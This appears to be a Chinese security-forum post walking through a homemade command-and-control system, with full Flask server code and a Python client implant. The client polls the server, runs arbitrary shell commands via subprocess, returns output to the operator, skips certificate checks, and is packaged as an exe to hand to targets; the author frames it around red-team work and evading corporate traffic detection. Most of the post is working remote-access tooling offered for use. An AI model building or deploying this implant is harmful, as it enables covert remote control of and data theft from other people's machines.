研究了几天免杀,觉得很是有趣,和杀软斗智斗勇的过程是真的有意思。但我对整体 C&C 架构思路也非常好奇,于是就通过 https 协议完成了一个 C&C。python 没打包前的效果如下图:

服务器整体流程就是起端口监听,有人连到我我就更新自己的数据库并呈现,服务端把命令放到数据库里,等待客户端连接时取走。客户端定时发送心跳包并向服务端取命令执行,之后返回结果,服务端会把结果进行数据库层面的更新。之后长轮训不断重复该过程。

本 https 版本最终实现功能核心要点:

● 通信必须加密
● 所有命令执行过程都记录下来,并用浏览器交互

写个 http 先

数据库设计

整体思路有了,需要想想需要定义的路由有哪些:服务器需要进行交互的有三个对象:

  1. 和前端交互
  2. 和被控(客户端)交互
  3. 和数据库交互

路由分别如下:

  1. show用来给前端进行展示
  2. give用来让前端给服务器发指令
  3. get用来让客户端接收指令
  4. result用来接收客户端发来的结果
  5. ping收心跳包

所有路由都会和数据库的两个表进行交互,表设计如下:

online_machine的ip_address是客户端的ip地址,通过netifaces.interfaces()把无线网卡的ip拿出来给服务器。

command表:machine_id作为一个外键,关联到名为online_machine表中的id列、command就是真正要执行的命令,在前端进行更新后直接就写进来,同时status一开始是0表示还没有被执行。等真正被执行的时候就写个1,并把结果写到库里。

数据库生成语句如下:

app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://root:123456@localhost/mydb'

db = SQLAlchemy(app)
class OnlineMachine(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    ip_address = db.Column(db.String(255), unique=True)
    last_ping = db.Column(db.DateTime)


class Command(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    machine_id = db.Column(db.Integer, db.ForeignKey('online_machine.id'))
    command = db.Column(db.String(255))#建议调大点
    result = db.Column(db.String(500))#也建议调大点,好多result真的很长
    status = db.Column(db.Integer)
...
db.create_all()

服务器核心代码

这里主要展示 flask 路由,完整代码见附件

@app.route('/result', methods=['POST'])
def receive_result():
    machine_ip = request.form.get('machine_ip')
    result = request.form.get('result')

    machine = OnlineMachine.query.filter_by(ip_address=machine_ip).first()
    print(machine)
    if machine:
        command = Command.query.filter_by(machine_id=machine.id, status=0).first()
        if command:
            command.result = result
            command.status = 1#更新result,且表示执行完毕
            db.session.commit()

    return 'OK'

@app.route('/give', methods=['POST'])
def give_command():
    machine_ip = request.form.get('machine_ip')
    command_text = request.form.get('command')#给特定machine_ip下发指令

    machine = OnlineMachine.query.filter_by(ip_address=machine_ip).first()
    if machine:
        command = Command(machine_id=machine.id, command=command_text, status=0)
        db.session.add(command)#直接往数据库里更新
        db.session.commit()

    return 'OK'

@app.route('/get', methods=['GET'])
def get_command():
    machine_ip = request.args.get('machine_ip')#根据自己的机子拿对应的指令

    machine = OnlineMachine.query.filter_by(ip_address=machine_ip).first()
    if machine:
        command = Command.query.filter_by(machine_id=machine.id, status=0).first()
        if command:
            return jsonify({'command': command.command})

    return jsonify({'command': ''})

@app.route('/ping', methods=['POST'])
def receive_ping():
    machine_ip = request.form.get('machine_ip')

    machine = OnlineMachine.query.filter_by(ip_address=machine_ip).first()
    if machine:#更新,表示我还活着
        machine.last_ping = datetime.datetime.now()
    else:#不然就注册一个
        machine = OnlineMachine(ip_address=machine_ip, last_ping=datetime.datetime.now())
        db.session.add(machine)

    db.session.commit()
    return 'OK'

@app.route('/show', methods=['GET'])
def show_status():#展示页面,这快还可以做一个逻辑,就是一个主机离线很久了就直接把它从数据库里拿掉,我这块没删
    #不删的话,就是你给他下发一个指令,他的status一直是0
    machines = OnlineMachine.query.all()
    status = []
    for machine in machines:
        commands = Command.query.filter_by(machine_id=machine.id).all()
        command_list = [{'command': cmd.command, 'result': cmd.result, 'status': cmd.status} for cmd in commands]
        status.append({'machine_ip': machine.ip_address, 'last_ping': machine.last_ping, 'commands': command_list})

    return jsonify(status)
@app.route('/')
def index():
    return app.send_static_file('index.html')


with app.app_context():

    if __name__ == '__main__':
        db.create_all()
        app.run()

服务器在根路由渲染一个静态文件,长这样,就是动图的样子(具体代码见附件):

客户端代码

SERVER_URL = 'http://127.0.0.1:5000' #到时候换成真正部署的ip、https的话改成https

def get_wireless_ip():#获取ip

    interfaces = netifaces.interfaces()

    for interface in interfaces:
        interface_details = netifaces.ifaddresses(interface)

        if netifaces.AF_INET in interface_details and 'en0' in interface:
            ip_addresses = [addr['addr'] for addr in interface_details[netifaces.AF_INET]]
            return ip_addresses[0] if ip_addresses else None

    return None

def send_ping(ip_address):
    payload = {'machine_ip': ip_address}
    response = requests.post(f"{SERVER_URL}/ping", data=payload)
    if response.status_code == 200:#发ping信号
        print('Ping sent successfully.')

def get_command(ip_address):
    payload = {'machine_ip': ip_address}
    response = requests.get(f"{SERVER_URL}/get", params=payload)
    if response.status_code == 200:
        data = response.json()
        command = data.get('command')
        if command:#取命令,执行命令
            execute_command(command)

def execute_command(command):
    try:
        # 使用subprocess模块执行命令
        result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, encoding='utf-8')
        # print(result)
    except subprocess.CalledProcessError as e:
        result = e.output
        print(f"Something wrong:\n{result}")

    send_result(result)

def send_result(result):
    ip_address = get_wireless_ip() #我是谁
    payload = {'machine_ip': ip_address, 'result': result}#我干了什么
    response = requests.post(f"{SERVER_URL}/result", data=payload)
    if response.status_code == 200:
        print('Result sent successfully.')

if __name__ == '__main__':
    ip_address = get_wireless_ip()
    while True:
        send_ping(ip_address)
        get_command(ip_address)
        time.sleep(2)  #设置轮训频率

升级成 https

目前完成了 http ,但是我们都知道,假如说真正跑起来的话,数据全都是以明文进行传输,也就是说流量很容易被窃取和篡改。假如真正上线了,走的流量被公司那边直接检测到了,它就有可能发一些假消息,来迷惑红队(将计就计。明文如图所示:

可以看到,直接就被 wireshark 分析出来,所以 https 是必须的。

我们来回顾一下场景,服务端和前端都是我这边的,也就是说生成出来的自签名证书,跑服务器的时候直接放到我本机目录上跑就行,然后前端也是我自己能看到的,所以直接继续访问就行。也可以选择手动导入证书,类似使用 xray 走代理,添加证书一样。然后我们想一下客户端,客户端的 exe 是我们给的,其中的代码requests.post(f"{SERVER_URL}", data=payload)直接加个不校验verify=False即可,最后打包生成 exe。

服务器那边就直接访问,因为是咱的服务。证书使用 openssl 一站式生成

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

可以看到 wireshark 已经分析不动了,我们可以愉快查看:

打包上线:

pyinstaller --onefile cl.py

windows 同理,效果是一样的,生成 exe 即可

C2C.zip (0.004 MB) 下载附件
点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖